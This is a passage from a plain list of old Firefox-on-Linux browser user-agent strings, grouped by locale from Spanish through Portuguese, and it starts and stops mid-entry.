Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+ Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 